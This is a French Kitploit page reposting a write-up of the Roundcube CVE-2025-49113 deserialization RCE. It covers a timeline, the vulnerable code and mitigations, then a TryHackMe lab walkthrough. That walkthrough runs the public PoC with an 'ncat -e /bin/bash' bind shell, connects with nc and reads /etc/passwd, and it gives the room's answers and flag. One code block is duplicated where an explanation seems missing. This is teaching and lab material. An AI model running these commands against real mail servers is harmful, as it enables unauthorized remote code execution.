Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Roundcube_CVE-2025-49113 — Explication + Lab sur THM | Kitploit
Outils/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
Analyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

Explication + Lab sur THM

il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

RCE sur Roundcube (CVE-2025-49113) - Ma note Obsidian .md

{{date}} {{time}}

Status: Terminé

Lab: Facile

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

par KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


Impact : exécution de commandes à distance après connexion (CVSS 9.9)
Versions affectées : ≤ 1.5.10 / 1.6.10
Corrigé : 1.5.11 et 1.6.11


1 – Chronologie

DateÉvénement
~2014Introduction de la route program/actions/settings/upload.php avec utilisation de session->append() sans validation.
03 juin 2025Des chercheurs de @FearsOff publient l'avis et annoncent un PoC.
04 juin 2025Roundcube applique commit 0376f69 (1.6-stable) et commit 7408f31 (1.5-lts).
06 juin 2025PoC publié sur GitHub. (fearsoff-org/CVE-2025-49113)
10 juin 2025Exploitation massive.

2 – Où se trouvait le problème

Code vulnérable (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … plus bas
$rcmail->session->append($type . '.files', $id, $attachment);

L'entrée _from arrive complète du GET puis devient partie du nom d'un nœud dans la session et
lors du premier append(), Roundcube fait :

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … plus bas

$rcmail->session->append($type . '.files', $id, $attachment);

Si le fichier existe, l'exploitation RCE a fonctionné.


3 – Mesures d'atténuation

  1. Mettez à jour immédiatement vers ≥ 1.6.11 ou ≥ 1.5.11.

  2. Si vous ne pouvez pas mettre à jour, bloquez tout _from contenant %22, %7C, !, . ou des octets de contrôle via WAF, pare-feu ou rewrite.

  3. Désactivez les fonctions dangereuses (proc_open, exec, etc.) dans php.ini.

  4. Bloquez les téléversements dans le panneau de configuration et surveillez les logs.


4 - Lab - TryHackme - WriteUp

Free Room: https://tryhackme.com/room/roundcubecve202549113

Créé par tryhackme & strategos

1. Reconnaissance

  1. Ouvrir la VM (MACHINE_IP) et l'AttackBox.

  2. Accéder à http://MACHINE_IP/roundcube avec :

    utilisateur : ellieptic mot de passe : ChangeMe123

    Cela fonctionnera et la connexion se fera normalement :

    Tela de login


2. Monter l'exploit

Après avoir vérifié que tout est opérationnel, nous allons exécuter l'exploit ; pour cela, nous allons accéder au PoC publié sur GitHub mentionné précédemment et faire un git clone :

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. Préparer le payload

L'utilisation du payload est simple, il suffit de créer le bind shell et de pointer vers un port avec le fichier .php en suivant l'utilisation ci-dessous :

php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– Le script se connecte, injecte l'objet PHP malveillant dans le paramètre _from, comme nous l'avons dit précédemment, appelle le point de terminaison upload.php puis force la déconnexion pour déclencher
session_decode() → unserialize() → proc_open().

Parfois, il affiche une erreur CSRF ; ignorez-la et passez à l'étape suivante,
car la commande a généralement été exécutée malgré tout.

exploit


4. Se connecter au shell

Si le bind shell a fonctionné, il écoute sur le port 1337 que nous avons passé, nous n'avons plus qu'à nous y connecter maintenant :

nc MACHINE_IP 1337

Shell obtenu.

shell


5. Répondre aux questions

Questions et réponses

  1. Utilisateur Maggie
    Question : L'un des utilisateurs a le prénom Maggie. Quel est son nom de famille ?
    Réponse : Byte

Pour résoudre cette question, nous pouvions faire un cat dans /etc/passwd en grepant l'utilisateur de Maggie, ou simplement faire un ls dans /home

1

  1. Drapeau dans /etc
    Question : Quelle est la valeur du drapeau enregistré dans /etc ?
    Réponse : THM{ICE_CUBE_DESERIALISATION}

Pour résoudre cela, j'ai fait un cat /etc/flag* et par chance le nom du fichier était flag et ainsi nous avons pu le capturer.

2


5 – Références

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff write-up – https://fearsoff.org/research/roundcube

  • OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

Télécharger l’outil